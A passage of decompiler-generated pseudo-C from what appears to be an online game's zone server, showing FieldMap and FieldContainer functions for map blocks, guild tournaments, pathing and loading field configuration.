// ebp@3 int v9; // ecx@3 int v10; // edi@3 signed int v11; // esi@3 int v12; // eax@3 int v13; // edi@6 int ycoord; // [sp+10h] [bp-30h]@3 void *v15; // [sp+14h] [bp-2Ch]@1 int v16; // [sp+18h] [bp-28h]@3 int dy; // [sp+1Ch] [bp-24h]@3 signed int starta; // [sp+44h] [bp+4h]@4 signed int distancea; // [sp+48h] [bp+8h]@3 signed int diva; // [sp+4Ch] [bp+Ch]@4 int blocka; // [sp+50h] [bp+10h]@3 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_FindBlockLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = DirectDistanceTable::ddt_Distance( &ddt, *(_DWORD *)start - *(_DWORD *)div, *(_DWORD *)(start + 4) - *(_DWORD *)(div + 4)); if ( v6 <= distance ) { v8 = block; *(_DWORD *)block = *(_DWORD *)start; *(_DWORD *)(block + 4) = *(_DWORD *)(start + 4); v9 = *(_DWORD *)start; v10 = *(_DWORD *)(start + 4); v11 = v6 / 16 + 1; v12 = *(_DWORD *)div - *(_DWORD *)start; blocka = *(_DWORD *)start; ycoord = *(_DWORD *)(start + 4); v16 = *(_DWORD *)div - *(_DWORD *)start; dy = *(_DWORD *)(div + 4) - v10; distancea = 1; if ( v11 >= 1 ) { diva = *(_DWORD *)(div + 4) - v10; starta = v12; while ( 1 ) { v13 = v9 + starta / v11; if ( (unsigned __int8)xcoord(*((_DWORD *)v15 + 5), v13, ycoord + diva / v11) ) break; *(_DWORD *)v8 = v13; *(_DWORD *)(v8 + 4) = ycoord + diva / v11; ++distancea; starta += v16; diva += dy; if ( distancea > v11 ) break; v9 = blocka; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); result = distancea < v11; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_FindBlockLocation"); result = 2; } return result; } //----- (004542C0) -------------------------------------------------------- int __thiscall FieldMap::fm_GetGuildTournamentSystem(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetGuildTournamentSystem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetGuildTournamentSystem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 73); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetGuildTournamentSystem"); return v2; } //----- (00454330) -------------------------------------------------------- char __thiscall FieldMap::fm_GuildTournamentEnemy(void *this, unsigned int a, unsigned int b) { void *v3; // esi@1 int v4; // eax@1 char result; // al@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GuildTournamentEnemy"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = FieldMap::fm_GetGuildTournamentSystem(v3); if ( v4 && GuildTournamentSystem::IsBattleGuild((GuildTournamentSystem *)v4, a, b) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GuildTournamentEnemy"); result = 0; } return result; } //----- (00454410) -------------------------------------------------------- int __thiscall FieldMap::fm_GetSaveLinktoData(void *this) { void *v1; // esi@1 int v2; // edx@1 int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetSaveLinktoData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v1 + 386) ) { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); result = (int)((char *)v1 + 300); } else { funcallanalizer.fca_stackpoint = v2 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetSaveLinktoData"); result = 0; } return result; } //----- (004544D0) -------------------------------------------------------- void __thiscall FieldMap::fm_SetSaveLinktoData(void *this, const void *rInfo) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_SetSaveLinktoData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_SetSaveLinktoData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v2 + 300, rInfo, 0x65u); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_SetSaveLinktoData"); } //----- (00454550) -------------------------------------------------------- Name8 *__thiscall FieldMap::fm_GetDoorBlockCheckSum(void *this) { void *v1; // esi@1 MapBlock::MapBlockInformation *v2; // ecx@1 Name8 *result; // eax@4 Name8 *v4; // eax@5 Name8 *v5; // esi@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetDoorBlockCheckSum"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetDoorBlockCheckSum"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = (MapBlock::MapBlockInformation *)*((_DWORD *)v1 + 5); if ( v2 ) { v4 = MapBlock::MapBlockInformation::mbi_GetDoorBlock_CheckSumData(v2); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetDoorBlockCheckSum"); result = v5; } else { if ( !(_S23_5 & 1) ) { _S23_5 |= 1u; *(_QWORD *)&temp.n8_name[24] = 0i64; *(_QWORD *)&temp.n8_name[16] = 0i64; *(_QWORD *)&temp.n8_name[8] = 0i64; *(_QWORD *)&temp.n8_name[0] = 0i64; atexit(_E24_6); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetDoorBlockCheckSum"); result = &temp; } return result; } //----- (00454680) -------------------------------------------------------- int __thiscall FieldMap::fm_GetCenterObject(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetCenterObject"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetCenterObject"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 12); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetCenterObject"); return v2; } //----- (004546E0) -------------------------------------------------------- char __thiscall FieldMap::fm_GetRegenCityLinkData(void *this, int pRegenCity) { void *v2; // esi@1 int v3; // ecx@1 int v5; // edx@3 int v6; // esi@3 unsigned int v7; // edx@3 char *v8; // edi@5 int v9; // esi@5 char v10; // dl@5 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_GetRegenCityLinkData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_DWORD *)v2 + 3); if ( !v3 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); return 0; } *(_DWORD *)(pRegenCity + 20) = *(_DWORD *)(v3 + 103); *(_DWORD *)(pRegenCity + 24) = *(_DWORD *)(v3 + 107); *(_DWORD *)(pRegenCity + 28) = *(_DWORD *)(v3 + 111); *(_BYTE *)(pRegenCity + 32) = 0; v5 = *((_DWORD *)v2 + 3); v6 = *(_DWORD *)(v5 + 103); v5 += 103; *(_DWORD *)(pRegenCity + 53) = v6; *(_DWORD *)(pRegenCity + 57) = *(_DWORD *)(v5 + 4); *(_DWORD *)(pRegenCity + 61) = *(_DWORD *)(v5 + 8); *(_BYTE *)(pRegenCity + 65) = 0; v7 = *(_BYTE *)(v3 + 147); if ( !*(_BYTE *)(v3 + 147) || v7 > 0x64 ) { v10 = 0; goto LABEL_6; } v8 = (char *)&rndbox + 32776 * v7; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; v10 = v8[2 * v9]; if ( (unsigned __int8)v10 < 4u ) LABEL_6: v3 += 8 * (unsigned __int8)v10; *(_DWORD *)(pRegenCity + 86) = *(_DWORD *)(v3 + 115); *(_DWORD *)(pRegenCity + 90) = *(_DWORD *)(v3 + 119); *(_WORD *)(pRegenCity + 94) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_GetRegenCityLinkData"); return 1; } //----- (00454830) -------------------------------------------------------- char __thiscall FieldMap::fm_IsStraightPath(void *this, int from, int to, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)) { int v4; // edi@4 int v5; // ebx@4 unsigned int v7; // eax@6 int v8; // ecx@6 bool v9; // bl@10 int v10; // [sp-4h] [bp-2Ch]@1 FunctionEntarance _; // [sp+Ch] [bp-1Ch]@1 void *v12; // [sp+10h] [bp-18h]@1 unsigned int center; // [sp+14h] [bp-14h]@6 unsigned int v14; // [sp+18h] [bp-10h]@6 int v15; // [sp+24h] [bp-4h]@1 v12 = this; _.fe_FunctionCode = "FieldMap::fm_IsStraightPath"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FieldMap::fm_IsStraightPath"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !from || !to || !mbi_blockfunction ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); return 0; } v4 = *(_DWORD *)(from + 4); v5 = *(_DWORD *)(to + 4); if ( (*(_DWORD *)from - *(_DWORD *)to) * (*(_DWORD *)from - *(_DWORD *)to) + (v4 - v5) * (v4 - v5) < 25 ) { --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FieldMap::fm_IsStraightPath"); return 1; } v7 = *(_DWORD *)to + *(_DWORD *)from; v14 = (unsigned int)(v5 + v4) >> 1; v8 = *((_DWORD *)v12 + 5); center = v7 >> 1; if ( (unsigned __int8)mbi_blockfunction(v8, v7 >> 1, v10) ) { v15 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v9 = (unsigned __int8)FieldMap::fm_IsStraightPath(v12, from, ¢er, mbi_blockfunction) && (unsigned __int8)FieldMap::fm_IsStraightPath(v12, ¢er, to, mbi_blockfunction); v15 = -1; FunctionEntarance::_FunctionEntarance(&_); return v9; } //----- (004549D0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this) { int v1; // eax@1 int v2; // edx@3 int i; // eax@4 int v4; // eax@7 v1 = *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0]; if ( *(_BYTE *)(*(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] + 17) ) { *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)(v1 + 8); } else { v2 = *(_DWORD *)v1; if ( *(_BYTE *)(*(_DWORD *)v1 + 17) ) { v4 = *(_DWORD *)(v1 + 4); if ( !*(_BYTE *)(v4 + 17) ) { do { if ( *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] != *(_DWORD *)v4 ) break; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; v4 = *(_DWORD *)(v4 + 4); } while ( !*(_BYTE *)(v4 + 17) ); if ( !*(_BYTE *)(v4 + 17) ) *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v4; } } else { for ( i = *(_DWORD *)(v2 + 8); !*(_BYTE *)(i + 17); i = *(_DWORD *)(i + 8) ) v2 = i; *(_DWORD *)&this->___u0.baseclass_0.baseclass_0.dummy[0] = v2; } } } //----- (00454A30) -------------------------------------------------------- int __cdecl ListFunctionCall(List *lst, PROTO_NC_MAP_REGIST_CMD *arg, int (__thiscall *func)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *)) { unsigned __int16 v3; // si@1 unsigned __int16 v4; // di@2 ListStruct *v5; // ecx@3 int v6; // eax@3 unsigned __int16 v7; // dx@3 bool v8; // cf@3 int v9; // eax@4 int v10; // eax@5 int result; // eax@7 int lt; // [sp+10h] [bp-Ch]@3 v3 = lst->l_Array[lst->l_Finger.store].ls_Next; while ( 1 ) { v4 = lst->l_MaxSize; if ( v3 >= v4 ) break; v5 = lst->l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; LOWORD(lt) = v7; HIWORD(lt) = v3; if ( v8 && (v9 = (int)&v5[v6], *(_BYTE *)(v9 + 8)) ) v10 = *(_DWORD *)v9; else v10 = 0; result = ((int (__thiscall *)(int, List *, int, PROTO_NC_MAP_REGIST_CMD *))func)(v10, lst, lt, arg); if ( !result ) return result; } return 1; } //----- (00454AC0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00454B10) -------------------------------------------------------- #error "454B10: undefined or illegal type '#1265' (funcsize=372)" //----- (00455000) -------------------------------------------------------- void __thiscall FieldContainer::fc_MapRegist(FieldContainer *this, WorldManagerSession *wms) { char *v2; // edi@1 char *v3; // esi@1 PROTO_NC_MAP_REGIST_CMD *v4; // ST04_4@1 int v5; // esi@1 v2 = gpp.pp_Buffer; v3 = gpp.pp_Buffer + 2; v4 = (PROTO_NC_MAP_REGIST_CMD *)(gpp.pp_Buffer + 2); *((_WORD *)gpp.pp_Buffer + 1) = 0; ListFunctionCall( &this->baseclass_0, v4, (int (__thiscall *)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *))FieldMap::fm_Regist2WMS); *(_WORD *)v2 = 6159; v5 = 15 * *(_WORD *)v3 + 4; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v5) ) ProtocolPacket::pp_SendPacket(&gpp, &wms->baseclass_0); else AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_MapRegist : Packet Too Long", v5); } //----- (00455060) -------------------------------------------------------- void __thiscall FieldContainer::fc_MakeField(FieldContainer *this, Name4 *world, FieldOption::FieldAttr *fldtemplet, Name3 *mapid, int serial, char machine) { FieldContainer *v6; // ebx@1 int v7; // ST08_4@1 CServerInfo *v8; // eax@1 unsigned int v9; // eax@2 char *v10; // eax@2 CServerInfo::MY_SERVER *v11; // eax@2 int v12; // esi@4 char serverinfo; // [sp+8h] [bp-24h]@1 char *ipaddr; // [sp+1Ch] [bp-10h]@2 __int16 port[2]; // [sp+20h] [bp-Ch]@2 v6 = this; v7 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v8 = ZoneServer::zs_mechineinfo(&zoneserver); if ( CServerInfo::GetServerInfo(v8, (CServerInfo::SERVER_INFO *)&serverinfo, 6, v7, (unsigned __int8)machine) ) { ZoneIPContainer::zipc_Store(&zipc, (unsigned __int8)machine, ipaddr, port[0]); v9 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v9; v10 = (char *)&namestring + 256 * v9; *(_QWORD *)v10 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&mapid->n3_name[8]; v10[12] = 0; BTree::bt_Insert(&fieldserial, v10, serial); v11 = ZoneServer::zs_worlddata(&zoneserver); if ( machine == v11->nZoneNo ) { LOWORD(v11) = v6->baseclass_0.l_Finger.empty; if ( (_WORD)v11 == -1 ) v12 = 0; else v12 = (int)v6->baseclass_0.vfptr->l_AllocZ((List *)v6, (unsigned __int16)v11); if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Too many map", 0); ShineExit("FieldContainer::fc_MakeField"); } FieldMap::fm_Init(v12, fldtemplet, world, mapid); FieldOption::fo_Store(&v6->fc_FieldOption, fldtemplet); } } } // 454B10: using guessed type int __thiscall FieldMap__fm_Init(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00455170) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0xCu); if ( result ) result->_Next = result; if ( result != (std::_List_nod >::_Node *)-4 ) result->_Prev = result; return result; } //----- (00455190) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x18u); if ( result ) result->_Next = result; if ( result != (std::_List_nod >::_Node *)-4 ) result->_Prev = result; return result; } //----- (004551B0) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, FieldMap::MIDPlayerInfo *_Val) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x18u); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; result->_Myval.midpi_nCharNo = _Val->midpi_nCharNo; result->_Myval.midpi_nDead = _Val->midpi_nDead; result->_Myval.midpi_nKill = _Val->midpi_nKill; result->_Myval.midpi_nScore = _Val->midpi_nScore; } return result; } //----- (004551F0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (00455230) -------------------------------------------------------- #error "455230: undefined or illegal type '#1265' (funcsize=88)" //----- (00455350) -------------------------------------------------------- void __thiscall FieldContainer::fc_Load(FieldContainer *this, Name4 *world) { unsigned int v2; // eax@1 FieldContainer *v3; // edi@1 char *v4; // eax@1 int v5; // edx@1 int v6; // ecx@1 int v7; // eax@2 int v8; // eax@5 void *v9; // eax@7 int v10; // ecx@7 int v11; // eax@7 bool v12; // zf@9 bool v13; // sf@9 void *v14; // eax@10 void *v15; // esi@10 int v16; // eax@10 int v17; // eax@13 FieldOption::GuildTournamentMapStr **v18; // eax@16 unsigned __int16 v19; // ax@17 char v20; // cl@22 int v21; // ebp@22 int v22; // eax@29 void *v23; // eax@31 void *v24; // ebp@31 char v25; // al@35 char v26; // al@37 char v27; // al@39 int v28; // ecx@44 unsigned __int8 v29; // al@46 int v30; // eax@47 int v31; // ecx@49 CServerInfo::MY_SERVER *v32; // eax@54 signed int v33; // ecx@54 char *v34; // eax@54 int v35; // esi@54 int v36; // eax@57 char *v37; // eax@57 unsigned int v38; // eax@64 char *v39; // eax@64 char *v40; // edx@64 char v41; // cl@65 unsigned int v42; // eax@66 char *v43; // eax@66 char *v44; // edx@66 char v45; // cl@67 int v46; // eax@68 const void *v47; // edx@68 char v48; // cl@69 unsigned int v49; // eax@70 void *v50; // edi@70 char v51; // cl@71 void *v52; // edi@72 const void *v53; // esi@72 int v54; // ecx@72 int v55; // eax@72 const void *v56; // esi@72 char v57; // cl@73 unsigned int v58; // eax@74 void *v59; // edi@74 char v60; // cl@75 void *v61; // edi@76 const void *v62; // esi@76 int v63; // ecx@76 int v64; // eax@76 char v65; // cl@77 int v66; // eax@78 char v67; // cl@79 char *v68; // eax@80 char v69; // cl@81 FieldContainer *v70; // edi@83 char *v71; // eax@85 char v72; // cl@86 char *v73; // eax@88 char v74; // cl@89 int v75; // eax@95 void *v76; // eax@95 int v77; // ecx@95 int v78; // eax@95 void *v79; // ebp@98 int v80; // esi@98 int v81; // ecx@107 ORToken v82; // [sp-24h] [bp-1F0h]@57 int v83; // [sp-20h] [bp-1ECh]@57 int v84; // [sp-1Ch] [bp-1E8h]@57 ORToken v85; // [sp-18h] [bp-1E4h]@10 ORToken v86; // [sp-14h] [bp-1E0h]@5 char *v87; // [sp-10h] [bp-1DCh]@5 int v88; // [sp-Ch] [bp-1D8h]@1 signed int v89; // [sp-8h] [bp-1D4h]@1 int v90; // [sp-4h] [bp-1D0h]@1 int i; // [sp+10h] [bp-1BCh]@1 char rst; // [sp+17h] [bp-1B5h]@2 ORToken *machine; // [sp+18h] [bp-1B4h]@5 Name4 *v94; // [sp+1Ch] [bp-1B0h]@1 ORToken *v95; // [sp+20h] [bp-1ACh]@57 FieldContainer *thisa; // [sp+24h] [bp-1A8h]@1 int type; // [sp+28h] [bp-1A4h]@57 char map[4]; // [sp+2Ch] [bp-1A0h]@84 int v99; // [sp+30h] [bp-19Ch]@84 int v100; // [sp+34h] [bp-198h]@84 char mss; // [sp+38h] [bp-194h]@77 _BYTE v102[3]; // [sp+39h] [bp-193h]@82 char v103[63]; // [sp+78h] [bp-154h]@79 char v104; // [sp+B7h] [bp-115h]@87 char v105; // [sp+B8h] [bp-114h]@80 _BYTE v106[3]; // [sp+B9h] [bp-113h]@87 unsigned int v107; // [sp+F8h] [bp-D4h]@70 char mapfrom[64]; // [sp+FCh] [bp-D0h]@64 char mapto[64]; // [sp+13Ch] [bp-90h]@1 unsigned int v110; // [sp+1BCh] [bp-10h]@1 int v111; // [sp+1C8h] [bp-4h]@57 v110 = (unsigned int)&i ^ __security_cookie; v2 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v2; v3 = this; v4 = (char *)&namestring + 256 * v2; *(_QWORD *)v4 = *(_QWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; v90 = (int)v4; *((_DWORD *)v4 + 2) = v5; v94 = world; v6 = *(_DWORD *)&world->n4_name[12]; v89 = (signed int)"../9Data/Hero/World/%s/Field.txt"; v88 = (int)mapto; thisa = v3; *((_DWORD *)v4 + 3) = v6; v4[16] = 0; sprintf((char *)v88, (const char *)v89); if ( !OptionReader::or_Read(&v3->fc_FieldOption.baseclass_0, mapto) ) { rst = OptionReader::or_Read(&v3->fc_FieldOption.baseclass_0, "../9Data/Hero/World/Field.txt"); v7 = OptionReader::or_ErrorLine(&v3->fc_FieldOption.baseclass_0); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "Error in read field option Field.xls", v7); ShineExit("FieldContainer::fc_Load"); } } machine = &v86; v90 = 0; v89 = 0; v88 = 0; v87 = 0; *(_DWORD *)&v86.ort_Name[0] = 0; strncpy(v86.ort_Name, "InstanceDungeon", 0x14u); v8 = OptionReader::or_SelectCountFrom(&v3->fc_FieldOption.baseclass_0, v86); v3->fc_InstanceDungeon.number = v8; if ( v8 != -1 ) { v9 = operator new__(4 * v8); v10 = v3->fc_InstanceDungeon.number; v3->fc_InstanceDungeon.attr = (FieldOption::GuildTournamentMapStr **)v9; v11 = 0; if ( v10 > 0 ) { do v3->fc_InstanceDungeon.attr[v11++] = 0; while ( v11 < v3->fc_InstanceDungeon.number ); } v12 = v3->fc_InstanceDungeon.number == 0; v13 = v3->fc_InstanceDungeon.number < 0; i = 0; if ( !(v13 | v12) ) { do { v90 = i; machine = &v85; v89 = 0; v88 = 0; v87 = 0; *(_DWORD *)&v86.ort_Name[0] = 0; *(_DWORD *)&v85.ort_Name[0] = 0; strncpy(v85.ort_Name, "InstanceDungeon", 0x14u); v14 = OptionReader::or_SelectFromOrder(&v3->fc_FieldOption.baseclass_0, v85, v90); v15 = v14; v16 = *((_BYTE *)v14 + 20); if ( v16 >= v3->fc_InstanceDungeon.number ) { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : Too large IDNo", v16); ShineExit("FieldContainer::fc_Load"); } v17 = *((_BYTE *)v15 + 20); if ( v3->fc_InstanceDungeon.attr[v17] != 0 ) { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : duplicate IDNo", v17); ShineExit("FieldContainer::fc_Load"); } v3->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)] = (FieldOption::GuildTournamentMapStr *)v15; v18 = v3->fc_InstanceDungeon.attr; if ( v18[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20] == 45 ) { *(_WORD *)&v18[*((_BYTE *)v15 + 20)]->DoorB0.DoorBlock[12] = -1; } else { v90 = (int)&v18[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20]; v19 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)v90); if ( v19 == -1 ) { v90 = (int)&v3->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)]->DoorA0.DoorBlock[20]; AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : Wrong Item ID", (const char *)v90); ShineExit("FieldContainer::fc_Load"); } *(_WORD *)&v3->fc_InstanceDungeon.attr[*((_BYTE *)v15 + 20)]->DoorB0.DoorBlock[12] = v19; } v20 = *((_BYTE *)v15 + 107); v21 = i; v12 = *((_BYTE *)v15 + 20) != v20; machine = (ORToken *)(*((_BYTE *)v15 + 20) == v20); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "Checksum error in table InstanceDungeonInfo(Field.txt)", i); ShineExit("FieldContainer::fc_Load"); } if ( *((_BYTE *)v15 + 21) == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { v90 = *((_BYTE *)v15 + 20); if ( !MapClusterManager::ClusterManager::AddInstanceDungeonCluster( &mapclustermanager, (const char *)v15 + 22, v90) ) { AssertClass::ac_AssertFail( &shineassert, "FieldContainer::fc_Load : Cannot add Instance dungeon cluster", v21); ShineExit("FieldContainer::fc_Load"); } } v22 = v3->fc_InstanceDungeon.number; i = v21 + 1; } while ( v21 + 1 < v22 ); } } else { AssertClass::ac_AssertFail(&shineassert, "Error in InstanceDungeonInfo : Cannot find Instance dungeon info", 0); } i = 0; while ( 1 ) { v90 = i; machine = &v85; v89 = 0; v88 = 0; v87 = 0; *(_DWORD *)&v86.ort_Name[0] = 0; *(_DWORD *)&v85.ort_Name[0] = 0; strncpy(v85.ort_Name, "FieldList", 0x14u); v23 = OptionReader::or_SelectFromOrder(&v3->fc_FieldOption.baseclass_0, v85, v90); v24 = v23; if ( !v23 ) break; v12 = *((_BYTE *)v23 + 21) != *((_BYTE *)v23 + 163); machine = (ORToken *)(*((_BYTE *)v23 + 21) == *((_BYTE *)v23 + 163)); if ( v12 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : checksum error - Field struct changed", 0); ShineExit("FieldContainer::fc_Load"); } v25 = *((_BYTE *)v23 + 100); if ( v25 && v25 != 1 || (v26 = *((_BYTE *)v24 + 101)) != 0 && v26 != 1 || (v27 = *((_BYTE *)v24 + 102)) != 0 && v27 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : checksum error - Field struct changed", 0); ShineExit("FieldContainer::fc_Load"); } *((_BYTE *)v24 + 147) = 0; do { v28 = (int)((char *)v24 + 8 * *((_BYTE *)v24 + 147)); if ( !*(_DWORD *)(v28 + 115) ) break; if ( !*(_DWORD *)(v28 + 119) ) break; v29 = *((_BYTE *)v24 + 147) + 1; *((_BYTE *)v24 + 147) = v29; } while ( v29 < 4u ); LOBYTE(v30) = *((_BYTE *)v24 + 147); v31 = (unsigned __int8)v30 > 0u && (unsigned __int8)v30 <= 4u; v30 = (unsigned __int8)v30; if ( !v31 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : RegenLocation Wrong", v30); ShineExit("FieldContainer::fc_Load"); } v32 = ZoneServer::zs_worlddata(&zoneserver); v33 = *((_BYTE *)v24 + 21); v90 = v32->nZoneNo; v89 = v33; v34 = ZoneServer::zs_GetServerGroup(&zoneserver); v35 = FieldOption::fo_GetMechineNumber(&fieldlist.fc_FieldOption, v34, v89, v90); machine = (ORToken *)v35; if ( v35 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "FieldContainer::fc_Load : machine number", v35); ShineExit("FieldContainer::fc_Load"); } v36 = *((_BYTE 